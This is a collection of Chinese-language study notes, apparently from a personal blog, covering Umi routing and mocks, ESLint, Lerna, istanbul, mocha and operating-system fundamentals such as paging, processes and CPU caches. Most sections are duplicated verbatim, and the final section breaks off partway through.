Umi是一款前端应用框架 官方文档:https://umijs.org/zh-CN/docs 根据官方文档要求,node版本>=10.13 yarn create @umijs/umi-app 安装依赖 yarn 启动项目 yarn start 构建项目(默认生成到./dist) yarn build 路由(src\.umi\core\routes.ts) "routes": [ { "path": "/", "component": require('@/pages/index').default, "exact": true },{ "path": "/admin", "component": require('@/pages/admin').default, "exact": true } ] 组件文件放在src\pages下 path是路径,component是组件路径,绝对和相对都可以用,也可以有require(’@/pages/xxx’)的方式 exact表示是否严格匹配,就是path和组件路径是否要完全对应,默认为开启,如果设置为false,表示模糊匹配 子组件 "routes": [ { "path": "/", "redirect": '/admin', },{ "path": "/admin", "component": require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由,当访问/的时候,跳转到/admin 文件路由(根据目录和文件名来分析路由) 如果没有routes路由配置,那么就会触发该文件路由,通过分析src/pages目录 注意:用.或者_开头的文件,用d.ts结尾的文件,不是 .js,.jsx,.ts或tsx文件,文件没有jsx元素的等等都不会被注册为路由 动态路由 使用[]包裹的路由将认为动态路由,例如: "routes": [ { "path": "/", "component": require('@/pages/index').default, "exact": true },{ "path": "/:data/admin", "component": require('@/pages/[data]/admin').default, "exact": true } ] 像[ $]的就是可选的,不是必须的 当目录下存在_layout.tsx的时候将生成嵌套路由 约定src/pages/404.tsx是404页面,要返回react组件,会默认生成路由,{ component: ‘@/pages/404’ } 页面跳转一样分为声明式和命令式 和在react一样,通过to属性指定路径,例如: import { Link } from 'umi' export default () => ( Go ) 命令式 import { history } from 'umi' function goPage() { history.push('/list') } 也是可以通过props.history.push()实现 umi约定如果存在src/pages/document.ejs文件,那么作为默认的模板 umi约定/mock文件夹下全部文件都为mock文件 支持数组和对象 例如: export default { 'GET /api/name': { name: ["root", "admin"] }, '/api/id': { id: 123 }, 'POST /api/users/create': (req, res) => { res.setHeader('Access-Control-Allow-Origin', '*') res.end('ok') } } 访问http://localhost:8000/api/name,可以获得{“name”:[“root”,“admin”]},访问/api/id可以{“id”:123} 使用mock: false禁用当前mock文件 .env文件为环境变量配置文件,例如 PORT=3000 那么就会以3000端口启动服务 ###umi cli umi build umi dev umi generate umi plugin umi help umi version umi webpack umi约定src/global.css为全局样式,如果存在这个文件,那么会自动引入 css模块化 import styles from ‘./styles.css’ umi内置less 引入图片 也是可以用@来指向src目录
Umi是一款前端应用框架 官方文档:https://umijs.org/zh-CN/docs 根据官方文档要求,node版本>=10.13 yarn create @umijs/umi-app 安装依赖 yarn 启动项目 yarn start 构建项目(默认生成到./dist) yarn build 路由(src\.umi\core\routes.ts) "routes": [ { "path": "/", "component": require('@/pages/index').default, "exact": true },{ "path": "/admin", "component": require('@/pages/admin').default, "exact": true } ] 组件文件放在src\pages下 path是路径,component是组件路径,绝对和相对都可以用,也可以有require(’@/pages/xxx’)的方式 exact表示是否严格匹配,就是path和组件路径是否要完全对应,默认为开启,如果设置为false,表示模糊匹配 子组件 "routes": [ { "path": "/", "redirect": '/admin', },{ "path": "/admin", "component": require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由,当访问/的时候,跳转到/admin 文件路由(根据目录和文件名来分析路由) 如果没有routes路由配置,那么就会触发该文件路由,通过分析src/pages目录 注意:用.或者_开头的文件,用d.ts结尾的文件,不是 .js,.jsx,.ts或tsx文件,文件没有jsx元素的等等都不会被注册为路由 动态路由 使用[]包裹的路由将认为动态路由,例如: "routes": [ { "path": "/", "component": require('@/pages/index').default, "exact": true },{ "path": "/:data/admin", "component": require('@/pages/[data]/admin').default, "exact": true } ] 像[ $]的就是可选的,不是必须的 当目录下存在_layout.tsx的时候将生成嵌套路由 约定src/pages/404.tsx是404页面,要返回react组件,会默认生成路由,{ component: ‘@/pages/404’ } 页面跳转一样分为声明式和命令式 和在react一样,通过to属性指定路径,例如: import { Link } from 'umi' export default () => ( Go ) 命令式 import { history } from 'umi' function goPage() { history.push('/list') } 也是可以通过props.history.push()实现 umi约定如果存在src/pages/document.ejs文件,那么作为默认的模板 umi约定/mock文件夹下全部文件都为mock文件 支持数组和对象 例如: export default { 'GET /api/name': { name: ["root", "admin"] }, '/api/id': { id: 123 }, 'POST /api/users/create': (req, res) => { res.setHeader('Access-Control-Allow-Origin', '*') res.end('ok') } } 访问http://localhost:8000/api/name,可以获得{“name”:[“root”,“admin”]},访问/api/id可以{“id”:123} 使用mock: false禁用当前mock文件 .env文件为环境变量配置文件,例如 PORT=3000 那么就会以3000端口启动服务 ###umi cli umi build umi dev umi generate umi plugin umi help umi version umi webpack umi约定src/global.css为全局样式,如果存在这个文件,那么会自动引入 css模块化 import styles from ‘./styles.css’ umi内置less 引入图片 也是可以用@来指向src目录
ESlint是用来校验JavaScript代码风格格式的工具,目的是确保每个人的代码风格统一,按照统一的规范编写(规范化、标准化是前端工程化的特点) 安装ESlint npm install eslint –save-dev 或者全局安装 npm install eslint –global 修改scripts属性(package.json)–fix参数是ESlint提供的自动修复基础错误功能(不能修复逻辑性错误),如果不要也可以 “lint”: “eslint src –fix”, “lint:create”: “eslint –init” 创建.eslintrc npm run lint:create 会显示显示要求,例如是否校验ES6语法,首行空白是Tab键还是Space等等 校验程序(根据上面的修改,会检查src目录下的所有.js文件) npm run lint .eslintrc文件是ESlint校验配置文件,这个配置文件可以自己设置(或者手写手动修改),也可以复制别人的 “off” or 0 :关闭规则 “warn” or 1 :将规则视为一个警告 “error” or 2 :将规则视为一个错误 可以设置规范,只能使用单引号,tab缩进等等编写规范
ESlint是用来校验JavaScript代码风格格式的工具,目的是确保每个人的代码风格统一,按照统一的规范编写(规范化、标准化是前端工程化的特点) 安装ESlint npm install eslint –save-dev 或者全局安装 npm install eslint –global 修改scripts属性(package.json)–fix参数是ESlint提供的自动修复基础错误功能(不能修复逻辑性错误),如果不要也可以 “lint”: “eslint src –fix”, “lint:create”: “eslint –init” 创建.eslintrc npm run lint:create 会显示显示要求,例如是否校验ES6语法,首行空白是Tab键还是Space等等 校验程序(根据上面的修改,会检查src目录下的所有.js文件) npm run lint .eslintrc文件是ESlint校验配置文件,这个配置文件可以自己设置(或者手写手动修改),也可以复制别人的 “off” or 0 :关闭规则 “warn” or 1 :将规则视为一个警告 “error” or 2 :将规则视为一个错误 可以设置规范,只能使用单引号,tab缩进等等编写规范
Lerna是一个基于git和npm来管理多个包工作流的工具(monorepo),解决多个包之间的依赖问题,像React,Vue,Babel都在使用lerna管理多包 安装Lerna npm install –global lerna 新建git仓库(初始化) git init lerna-demo 初始化Lerna仓库 lerna init 创建新包 lerna create demoPackage 显示全部已经安装的包 lerna list 依赖处理(通过软链接方式将多个package关联起来) lerna bootstrap 添加包到外层的node_modules lerna add axios 移除所有packages下的node_modules(不会移除根目录的) lerna clean 发布package(不会发布标记为private的包) lerna publish 查看上一次有修改的包的差异 lerna diff 注意:全部子包会放在packages/目录下,lerna.json就是lerna的配置文件 lerna有两个管理模式,分别是固定模式(默认模式)和独立模式 固定模式将全部包版本绑定在一起,如果只更新一个包,将会更新对应包的版本到新的版本号 独立模式:init的时候使用–independent参数,独立模式允许对每个库单独改变版本号,每次发布的时候只需要为每个改动的库指定版本号
Lerna是一个基于git和npm来管理多个包工作流的工具(monorepo),解决多个包之间的依赖问题,像React,Vue,Babel都在使用lerna管理多包 安装Lerna npm install –global lerna 新建git仓库(初始化) git init lerna-demo 初始化Lerna仓库 lerna init 创建新包 lerna create demoPackage 显示全部已经安装的包 lerna list 依赖处理(通过软链接方式将多个package关联起来) lerna bootstrap 添加包到外层的node_modules lerna add axios 移除所有packages下的node_modules(不会移除根目录的) lerna clean 发布package(不会发布标记为private的包) lerna publish 查看上一次有修改的包的差异 lerna diff 注意:全部子包会放在packages/目录下,lerna.json就是lerna的配置文件 lerna有两个管理模式,分别是固定模式(默认模式)和独立模式 固定模式将全部包版本绑定在一起,如果只更新一个包,将会更新对应包的版本到新的版本号 独立模式:init的时候使用–independent参数,独立模式允许对每个库单独改变版本号,每次发布的时候只需要为每个改动的库指定版本号
代码覆盖率:是否所有代码都被执行或者调用 每一行,每个函数,每个语句块,每个if分支是否都被执行或者被调用 istanbul是JavaScript的覆盖率工具(类似工具还有NYC)(可搭配mocha使用) 安装 npm install -g istanbul 测试覆盖率 istanbul cover demo.js 检查程序覆盖率是否达到某个值 istanbul check-coverage –statement 60 –branch -5 –function 100 在执行检查测试后,会在目标文件的当前目录下生成个coverage文件夹 在coverage/lcov-report/index.html,可以查看网页版结果
代码覆盖率:是否所有代码都被执行或者调用 每一行,每个函数,每个语句块,每个if分支是否都被执行或者被调用 istanbul是JavaScript的覆盖率工具(类似工具还有NYC)(可搭配mocha使用) 安装 npm install -g istanbul 测试覆盖率 istanbul cover demo.js 检查程序覆盖率是否达到某个值 istanbul check-coverage –statement 60 –branch -5 –function 100 在执行检查测试后,会在目标文件的当前目录下生成个coverage文件夹 在coverage/lcov-report/index.html,可以查看网页版结果
mocha是JavaScript测试框架 安装 npm install –global mocha 测试,例如: demo.js function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试(允许测试多个,默认执行test子目录的测试文件,如果test子目录存在该文件,可以不用加参数) mocha demo.test.js 其中expect(demo(1,3,7)).to.be.equal(11)是断言,当1+3+7的结果不是11的时候,抛出错误 因为mocha本身没有断言库,需要导入 const expect = require(‘chai’).expect 查看内置的全部报告格式(默认是spec) mocha –reporters 使用Dot格式显示 mocha –reporter dot 使用HTML报告 npm install –save-dev mochawesome mocha其他参数 –watch:监听指定测试脚本,只要测试脚本发生改变就自动执行mocha 搜索测试实例(通过名称) mocha –grep “test” –invert :只执行不符合条件的测试脚本,要搭配–grep使用 如果要测试ES6,需要转码 npm install babel-core babel-preset-es2015 –save-dev .babelrc { "presets": [ "es2015" ] } mocha –compilers js:babel-core/register 注意:mocha默认每个测试实例只能最多执行2000毫秒,如果在这个时间里没处理完毕将报错 需要指定超时时间(-t或–timeout参数),例如: mocha -t 6000 demo.test.js 也可以设置-s或-slow参数来指定超过一定时间的部分高亮显示 mocha -t 6000 -s 3000 demo.test.js 生成指定格式的测试文件 mocha –recursive -R markdown > demo.md mocha –recursive -R doc > demo.html
mocha是JavaScript测试框架 安装 npm install –global mocha 测试,例如: demo.js function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试(允许测试多个,默认执行test子目录的测试文件,如果test子目录存在该文件,可以不用加参数) mocha demo.test.js 其中expect(demo(1,3,7)).to.be.equal(11)是断言,当1+3+7的结果不是11的时候,抛出错误 因为mocha本身没有断言库,需要导入 const expect = require(‘chai’).expect 查看内置的全部报告格式(默认是spec) mocha –reporters 使用Dot格式显示 mocha –reporter dot 使用HTML报告 npm install –save-dev mochawesome mocha其他参数 –watch:监听指定测试脚本,只要测试脚本发生改变就自动执行mocha 搜索测试实例(通过名称) mocha –grep “test” –invert :只执行不符合条件的测试脚本,要搭配–grep使用 如果要测试ES6,需要转码 npm install babel-core babel-preset-es2015 –save-dev .babelrc { "presets": [ "es2015" ] } mocha –compilers js:babel-core/register 注意:mocha默认每个测试实例只能最多执行2000毫秒,如果在这个时间里没处理完毕将报错 需要指定超时时间(-t或–timeout参数),例如: mocha -t 6000 demo.test.js 也可以设置-s或-slow参数来指定超过一定时间的部分高亮显示 mocha -t 6000 -s 3000 demo.test.js 生成指定格式的测试文件 mocha –recursive -R markdown > demo.md mocha –recursive -R doc > demo.html
操作系统是管理计算机硬件和软件资源,并且提供用户交互的软件系统 常见操作系统有Windows,Linux,Android 操作系统具备管理计算机资源的功能,具备抽象计算机资源的能力,能和用户进行交互 操作系统实质上是一个很复杂的控制软件,可以管理应用,资源管理,管理外设等等 操作系统的架构的层次是在硬件之上,应用之下 OS Kernel:可并发(同时存在多个运行的应用)。可共享,可虚拟,可异步 微内核:尽可能将内核功能移植到用户空间,缺点就是性能低 外核和内核:一个负责硬件,一个负责软件 DISK(硬盘存储):存储OS BIOS:基本I/O处理系统(加载外设以及加载软件来运行OS) (basic I/O system) BootLoader:加载OS POST(加电自检,查找显卡和执行BIOS) 系统调度:来源于“合法”的应用向系统发出服务请求的(同步或者异布) 异常:来源于“不良”的应用非法指令(或者应用意想不到的请求,应用无法获得资源需求)(同步) 中断:来源于外设对于硬件设备和网络中断(异步) 逻辑化地址空间,独立地址空间,可访问相同内存,更多内存空间(虚拟化) 物理地址空间:硬件支持的地址空间 逻辑地址空间:应用程序拥有的内存范围 操作系统为了运行多个程序,进行了内存地址的隔离(分配独立的虚拟内存地址),虚拟内存地址和物理内存地址是映射关系 应用逻辑地址映射到物理地址 CPU需要逻辑地址上的内存内容(ALU),内存管理单元(MMU)寻找逻辑地址和物理地址之间的映射,控制器将从总线发送物理地址的内存内容的请求 内存发送物理地址内存内容给CPU(告诉CPU,物理地址找到了),建立逻辑地址和物理地址之间的映射(确保应用互不干扰) 虚拟地址和物理地址的映射关系管理 内存分段(内存被看成一组不同长度的段) 内存分段下的虚拟地址分为段选择⼦和段内偏移量 段选择⼦保存在段寄存器中,段选择⼦其中的段号被用于段表的索引,段表中保存的是这个段的基地址和段界限等等 而段内偏移量是位于0和段界限之间的,如果段内偏移量合法,那么段内偏移量加段的基地址得到物理内存地址 分段的内存碎片问题,如果某个程序占用了128mb内存,然后该程序被关闭了,释放128mb内存,如果这个128mb内存不是连续的,而是被分段了,这将导致没有内存空间打开另一个内存占用128mb的程序 内存分页(将物理内存和虚拟内存切成一段段固定大小的内存空间) 内存分页解决了内存分段的内存碎片问题,其释放内存是以页为单位释放的,当内存空间不够,会释放其他正在运行的进程的没使用的内存页面 内存分页下的虚拟地址被分为页号和页内偏移,页好为页表的索引,页表保存着物理页的所在物理内存的基地址,基地址和页内偏移组成物理内存地址 内存分页的缺点就是在运行多线程时,页表会非常大,所以出现了多级⻚表(将页表分成一级一级的) 段⻚式内存管理(内存分段和内存分页的结合体) 先将内存分为多个段,再将每个端分为多个页,地址通过段号,段内⻚号和⻚内位移组成 连续性内存管理(内存碎片和分区的动态分配) 外部碎片:在分配单元间的未使用内存 内部碎片:在分配单元中的未使用内存 当一个应用被批准运行在内存中时,分配一个连续的区间,来给运行的应用访问数据 动态分配的策略:当想分配某字节,先从低地址找,找到第一个被某字节大的空闲块,就使用它 动态分配的缺点就是外部碎片严重 非连续内存分配 分段Segmentation: 逻辑地址空间连续,物理地址离散 一个段表示一个内存块,一个逻辑地址空间,应用访问内存地址的时候,需要个二维的二元组 虚拟内存: 早期内存不够应用消耗,应用的规模比存储器的容器大 当应用太大,超出内存,可采用手动的覆盖(overlay) 技术,只把需要的指令和数据保存在内存中 当应用太多,超出内存,可采用自动的交换(swapping) 技术,把暂时不能执行的程序送到外存(磁盘)中 进程和线程: 进程状态(state),线程(thread),进程间通信(inter-process communication),进程互斥与同步,死锁(deadlock) 进程包含正在运行的应用的全部状态信息 进程可动态化创建,结束进程,可以被独立调度并占用处理,不同的进程互不影响,可访问共享数据或者资源 进程控制块(process control block, PCB):进程的数据结构,操作系统管理控制进程运行所用的信息集合,操作系统为每一个进程都维护了一个PCB,用来存储保存和该进程有关的状态信息 进程是操作系统最小可调度的资源单位 多个程序运行在单核心CPU服务器上,实质就是在共享时间片(时间片,操作系统将某个程序分配到某段CPU时间上,单核是无法同时运行多个程序的,只能共享时间片,而进程就是因此而生) 进程状态有3种,分别是运行,阻塞以及就绪 运行和就绪可互相转换,运行状态就是CPU指令在读取运行进程中的程序段,而就绪就是该进程在等待调用 运行可切换到阻塞状态 阻塞就是进程在等待信号(依赖的资源没有就位),阻塞状态结束后会切换到就绪状态 进程状态的切换可理解为接力赛跑,运行状态就是正在跑的运动员,而就绪状态就是在等待接力棒的运动员,而阻塞状态就是运动员需要补充休息,暂时不跑了 进程发生阻塞时,该进程将放弃CPU使用权,CPU会执行下一个就绪状态的进程 中断和中断向量 当程序发生中断(CPU暂时中断当前正在运行的程序),CPU转去处理其他的程序(也可能是处理内存的数据),当CPU处理完毕,CPU可恢复到之前被暂时中断当前正在运行的程序的状态,这个过程叫中断 中断向量就是中断程序的入口地址 中断发生时,该进程会第一时间保存被中断程序的状态,会将相关数据保存到寄存器,当CPU通过中断向量,跳转到处理中断程序中去,并且执行中断程序,然后决定下一个执行哪个程序,如果这个程序正好是之前被中断的,会从寄存器中读取相关数据。恢复到之前中断的执行状态 任何进程都需要排队等待 进程中断和进程阻塞的区别:中断是由于一些优先级比较高的需要CPU处理而被迫中断执行,而阻塞是因为进程需要一些依赖,但是依赖没有就位,需要等待就位,该进程就会进入到阻塞队列中,当依赖就位,就恢复到就绪状态,等待进程调度系统分配CPU执行权 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源的分配和调度的基本单位,每个进程都拥有一个自己的地址空间,进程至少有5种基本状态,分别是:初始状态,执行状态,等待状态,就绪状态,终止状态 线程(Thread)是进程的执行实例,是程序执行的最小单位,是操作系统能够进行运算调度的最小单位,一个进程可以创建多个线程,同一个进程的线程共享进程的内存信息,同一个进程的多个可以并发执行,一个线程要执行,必须至少有一个进程 并发和并行的区别 并发:指一个时间段中有多个线程(程序)被快速的轮换执行(处于启动运行到运行完毕之间),在一个时间段中只有一个线程(程序)在执行,在宏观上感觉是多个线程同时被处理,如果多线程操作在一个cpu上,操作系统将cpu运行时间分隔为若干个时间段,将时间段分配给各个线程执行,在一个时间段的线程执行时,其他线程将处于挂起状态,这就叫并发 并行:当系统拥有多个cpu(1个以上)时,一个cpu执行一个线程,另一个线程执行另一个线程,同时进行处理,这就叫并行 并发和并行的区别:并发一个时间段只能执行一个线程(多个线程需要排队执行),并行可以在一个时间段中同时执行多个线程 当多线程程序在单核CPU上执行时,就是并发,在多核CPU执行时,就是并行,当线程数大于CPU核数,那么既有并行又有并发 进程调度的性能消耗太大,因为进程调度会导致进程中断,不但需要将数据保存在寄存器中,恢复进程还需要从寄存器中读取数据,而调度线程的性能消耗就很小,线程是进程的执行单元,一个进程中最少存在一个线程 进程的竞争和临界区 临界区:指的是共享内存中的程序片段 当两个进程同时访问了临界区,而临界区中的数据正好不能被同时访问,例如进程A读取了临界区中的某个内存,并且修改了这个内存,但是进程B正好在读取该临界区的这个内存,导致读取的数据是错的,而解决这个问题的最简单方法就是互斥,当一个进程在该临界区中时,其他进程不能进入,需要排队等待,而且不能过于长时间的占用临界区,临界区外的进程不影响到临界区内的进程 死锁:当多个进程因为竞争资源或者进程通信而导致的阻塞现象,进程在互相等待,无法进行下一步操作 严格轮换法,Peterson算法 严格轮换法简单来说就是声明一个状态,某个进程进入临界区时,状态为1,出来的时候状态为0,当其他进程看到状态为1时,等待该进程出来,看到状态为0时,进入临界区 Peterson算法是严格轮换法的优化版,实现了互斥的同时又避免的死锁 Peterson算法的思路是声明2个状态(一个是正在使用临界区的状态,另一个是想进入临界区的状态),当一个进程想进入临界区时,会检查一下其他进程是否想进入临界区,如果存在其他进程想进入临界区,则等待 FHS规范(3.0),全称Filesystem Hierarchy Standard,中文翻译为文件系统层次结构标准,用于定义根目录以及一级子目录的规范,大多数Linux版本使用该标准来定义文件系统(并不一定完全符合规范,只是大概上符合) FHS规范定义了系统各个目录应该要放什么文件数据,以及所需要的文件和目录 例如:规范某一些文件或者目录可以分享或者不可以分享给给其他人使用 FHS规范了根目录(/),以及根目录的子目录etc(配置文件),bin(必要软件或者命令),usr(二级目录),home(当前用户的家目录),var(动态数据) Linux文件系统—VFS(虚拟文件系统)(Linux下一切都是文件) VFS不需要考虑不同文件系统和存储介质的差异,因为其内核抽象出了通用的文件系统接口,只要符合接口标准,一些文件或者比较特殊的文件系统都是可以兼容 VFS抽象对象,超级块:文件系统,目录项:文件的路径,索引节点:具体文件(操作文件的具体信息),文件:进程打开的文件。都有自己的接口来操作 XFS(高性能64位日志文件系统),带有日志功能防丢数据,原生提供备份工具(xfsdump/sfsrestore) 图灵机和冯诺依曼模型 图灵机实质就是机器模拟人类在纸上进行数学运算,先将数值写到一个纸带的小方格中,再通过读写头来读取小方格里面的信息 这个读写头具备存储,运算,控制功能。存储读取的数据以及运算出来的数据,可执行运算指令,可识别数据是运算指令(例如加号,减号等等运算符号)还是数字 冯诺依曼模型(约定使用二进制来存储和计算数据,并且定义计算机基本结构,CPU,内存,输入设备,输出设备,总线,具备这5个部分的计算机就是冯诺依曼模型) CPU:中央处理器,64位处理器(64位指的CPU的位宽,位宽决定了处理器一次可以计算处理多少字节的数据,64位处理器可以一次计算8个字节) CPU内部还有寄存器(存储CPU计算时的数据),运算单元(负责计算),控制单元(控制CPU工作) 常见的寄存器有:通用寄存器(存储需要进行计算的数据),程序计数器(存储CPU要执行下一个指令的内存地址),指令寄存器(存储程序计数器指向的指令) 总线(CPU和其他设备之间的通信,总线被分为3种,地址总线(传送外部存储器(内存)的地址),控制总线(用来传输和接收控制信号),数据总线(传送内存的数据信息,数据总线又分单向传输,双向传输)) 输入输出设备(输入设备通过控制总线和CPU通信,CPU处理后,将数据输出给输出设备) 线路传输:通过电压来传输数据,低电压表示0,高电压表示1,一条线路可传输1bit的数据(二进制,0或1) 32位处理器的最大寻址空间为2的32次方(4294967296,大概4GB左右),所以32位CPU(或者操作系统)只能操作4G内存(而64位理论上寻址范围高达2的64次方) CPU执行过程:CPU读取程序计数器的值(指令内存地址),控制单元通过地址总线访问到内存,并且通过数据总线获取数据给CPU,CPU接收到数据,将该数据存储在指令寄存器,CPU处理指令寄存器的数据,确定数据的类型,如果是计算类,就交给运算单元处理,如果是存储类,就交给控制单元处理,CPU处理完毕后,程序计数器的值自增(用来表示下一条指令,自增取决于CPU的位宽,如果是64位处理器就是自增8(因为64位一次性处理8个字节数据,一个字节数据需要一个地址来存放)) CPU会不断执行该过程,直到结束(这个过程叫CPU的指令周期) CPU的执行速度取决于指令的执行速度,而指令的执行速度取决于CPU的时钟频率(Ghz),例如我电脑的CPU是 2.10 GHz的,这个 2.10 GHz指的是1秒内可以产生2.1G次数的脉冲信号,而每一次脉冲信号的高低电平的转换就是时钟周期(振荡周期) 时钟频率越高,时钟周期越低,CPU的处理速度越快 存储器 内存断电,数据会丢失,而硬盘不会,因为硬盘是持久化存储,而且CPU内部也有存储器(只不过其能存储的数据很小) 寄存器处理速度最快,再到CPU Cache(中⽂称为CPU缓存,一般分为L1,L2,L3这样的缓存层,比如我电脑的r5 3550h的一级缓存为384KB,二级缓存为2MB,三级缓存为4MB,二级缓存是一级缓存的缓冲器,三级缓存是二级缓存的缓冲器) 然后再到内存,最后是硬盘 一个主频为2.1Ghz的CPU,表示其1秒内完成2.1x10的9次方个时钟周期 CPU Cachee使用了⼀种叫 静态随机存取存储器(Static Random-Access Memory,SRAM)的存储器,一旦断电就会丢失数据 每个CPU核心都有属于自己的L1缓存和L2缓存,而L3缓存一般是多核心共享的 内存使用的是一种叫动态随机存取存储器(Dynamic Random Access Memory,DRAM)的存储器 SRAM存储1bit的数据,一般情况需要6个晶体管,而DRAM只需要一个晶体管和一个电容 硬盘就是固体硬盘(分为HDD硬盘(Hard Disk Drive)和SSD硬盘(Solid-state disk)),HDD硬盘结构和内存相似,但是和内存,缓存之类的不同的是其断电,数据不会丢失 CPU Cachee的数据是从内存中获取的,通过Cache Line(缓存块)来一块一块获取,L1缓存一般分为数据缓存和指令缓存 补码:将正数的二进制全部取反再加1,补码被用于处理负数 十进制小数转二进制用的是乘2取整法(将小数部分乘以2,作为二进制的一位,一直到不存在小数,整数还是用除2法,再合并就是小数的二进制结果) 不是所有小数都可以乘2取整的,例如0.1就不能取整,无法使用二进制精确表示0.1,只能使用近似值来表示,这将导致精度缺失的情况发生 操作系统内核:连接硬件设备的桥梁,应用只需要和内核交互,无需关注硬件,内核已提供访问硬件的接口 现代操作系统内核支持进程调度,内存管理,硬件通信,提供系统接口等功能 内核权限很高,并且将内存分称2个部分,分别是内核空间(只有内核程序可访问),用户空间(专门提供给应用使用) 当程序在使用用户空间时,那么该程序在用户态执行,如果在使用内核空间,那么该程序在内核态执行 内核一般分为三种,宏内核(Linux为代表,整个内核是一个完整的程序),微内核(具备一个小内核,一些服务或者模块由用户态来管理)以及混合内核(宏内核和微内核的结合体,windows为代表) 计算机的输入,输出,状态转换函数F 状态描述:一切可使用数字描述 输入:晶振(时间输入,CPU周期,时钟驱动CPU工作),外界输入设备 输出:打印机,显示器 机械计算机:差分机(巴贝奇,多项式求值) 图灵机 冯 诺依曼模型 CPU的工作原理(内存,寄存器,ALU(算数逻辑单元)) 数据空间地址和指令空间地址 指令 通过指令来控制计算机工作,CPU被时钟驱动,并且不断读取指针指向的指令,从内存读取指令然后执行指令 不同的cpu架构使用不同的指令集,常见的指令集有RISC(Reduced Instruction Set Computing,精简指令集),CISC(Complex Instruction Set Computing,复杂指令集) RISC中代表的有arm指令集,CISC中代表的有x86指令集 RISC的特点就是CPU单元电路少,面积小,功耗低(只进行二进制处理器指令) CISC的特定就是CPU单元电路多,面积大,功耗大(进行复杂指令) 寻址模式,浮点数,指令分类 寻址模式(指令集的一部分,表示指令有哪些操作符,地址应该怎么计算) 寄存器寻址,立即寻址,偏移量寻址(基地址,偏移量),PC相对寻址 内存读写(load/store指令),加减乘除(add,sub,div,mult)。 操作系统的并发性(2个事件及2个以上事件在一段时间内发生,就叫并发,并发是单核CPU的知识点),共享性(操作系统的资源可以提供给多个并发程序使用,互斥共享,同时访问(一段时间内并发访问资源)),虚拟性(将物理设备虚拟成多个逻辑实体,虚拟技术有时分复用(分时使用硬件资源,例如虚拟处理器技术,就是将多个程序分时复用处理器资源,虚拟设备技术,就是将物理设备虚拟成多个逻辑设备,一个程序使用一个逻辑设备,通过逻辑设备来并发访问真实的物理设备),空分复用技术(虚拟磁盘技术(将物理磁盘虚拟成多个逻辑盘),虚拟内存技术(可使用比实际内存更大的内存空间))),异步性(允许多进程并发执行)
操作系统是管理计算机硬件和软件资源,并且提供用户交互的软件系统 常见操作系统有Windows,Linux,Android 操作系统具备管理计算机资源的功能,具备抽象计算机资源的能力,能和用户进行交互 操作系统实质上是一个很复杂的控制软件,可以管理应用,资源管理,管理外设等等 操作系统的架构的层次是在硬件之上,应用之下 OS Kernel:可并发(同时存在多个运行的应用)。可共享,可虚拟,可异步 微内核:尽可能将内核功能移植到用户空间,缺点就是性能低 外核和内核:一个负责硬件,一个负责软件 DISK(硬盘存储):存储OS BIOS:基本I/O处理系统(加载外设以及加载软件来运行OS) (basic I/O system) BootLoader:加载OS POST(加电自检,查找显卡和执行BIOS) 系统调度:来源于“合法”的应用向系统发出服务请求的(同步或者异布) 异常:来源于“不良”的应用非法指令(或者应用意想不到的请求,应用无法获得资源需求)(同步) 中断:来源于外设对于硬件设备和网络中断(异步) 逻辑化地址空间,独立地址空间,可访问相同内存,更多内存空间(虚拟化) 物理地址空间:硬件支持的地址空间 逻辑地址空间:应用程序拥有的内存范围 操作系统为了运行多个程序,进行了内存地址的隔离(分配独立的虚拟内存地址),虚拟内存地址和物理内存地址是映射关系 应用逻辑地址映射到物理地址 CPU需要逻辑地址上的内存内容(ALU),内存管理单元(MMU)寻找逻辑地址和物理地址之间的映射,控制器将从总线发送物理地址的内存内容的请求 内存发送物理地址内存内容给CPU(告诉CPU,物理地址找到了),建立逻辑地址和物理地址之间的映射(确保应用互不干扰) 虚拟地址和物理地址的映射关系管理 内存分段(内存被看成一组不同长度的段) 内存分段下的虚拟地址分为段选择⼦和段内偏移量 段选择⼦保存在段寄存器中,段选择⼦其中的段号被用于段表的索引,段表中保存的是这个段的基地址和段界限等等 而段内偏移量是位于0和段界限之间的,如果段内偏移量合法,那么段内偏移量加段的基地址得到物理内存地址 分段的内存碎片问题,如果某个程序占用了128mb内存,然后该程序被关闭了,释放128mb内存,如果这个128mb内存不是连续的,而是被分段了,这将导致没有内存空间打开另一个内存占用128mb的程序 内存分页(将物理内存和虚拟内存切成一段段固定大小的内存空间) 内存分页解决了内存分段的内存碎片问题,其释放内存是以页为单位释放的,当内存空间不够,会释放其他正在运行的进程的没使用的内存页面 内存分页下的虚拟地址被分为页号和页内偏移,页好为页表的索引,页表保存着物理页的所在物理内存的基地址,基地址和页内偏移组成物理内存地址 内存分页的缺点就是在运行多线程时,页表会非常大,所以出现了多级⻚表(将页表分成一级一级的) 段⻚式内存管理(内存分段和内存分页的结合体) 先将内存分为多个段,再将每个端分为多个页,地址通过段号,段内⻚号和⻚内位移组成 连续性内存管理(内存碎片和分区的动态分配) 外部碎片:在分配单元间的未使用内存 内部碎片:在分配单元中的未使用内存 当一个应用被批准运行在内存中时,分配一个连续的区间,来给运行的应用访问数据 动态分配的策略:当想分配某字节,先从低地址找,找到第一个被某字节大的空闲块,就使用它 动态分配的缺点就是外部碎片严重 非连续内存分配 分段Segmentation: 逻辑地址空间连续,物理地址离散 一个段表示一个内存块,一个逻辑地址空间,应用访问内存地址的时候,需要个二维的二元组 虚拟内存: 早期内存不够应用消耗,应用的规模比存储器的容器大 当应用太大,超出内存,可采用手动的覆盖(overlay) 技术,只把需要的指令和数据保存在内存中 当应用太多,超出内存,可采用自动的交换(swapping) 技术,把暂时不能执行的程序送到外存(磁盘)中 进程和线程: 进程状态(state),线程(thread),进程间通信(inter-process communication),进程互斥与同步,死锁(deadlock) 进程包含正在运行的应用的全部状态信息 进程可动态化创建,结束进程,可以被独立调度并占用处理,不同的进程互不影响,可访问共享数据或者资源 进程控制块(process control block, PCB):进程的数据结构,操作系统管理控制进程运行所用的信息集合,操作系统为每一个进程都维护了一个PCB,用来存储保存和该进程有关的状态信息 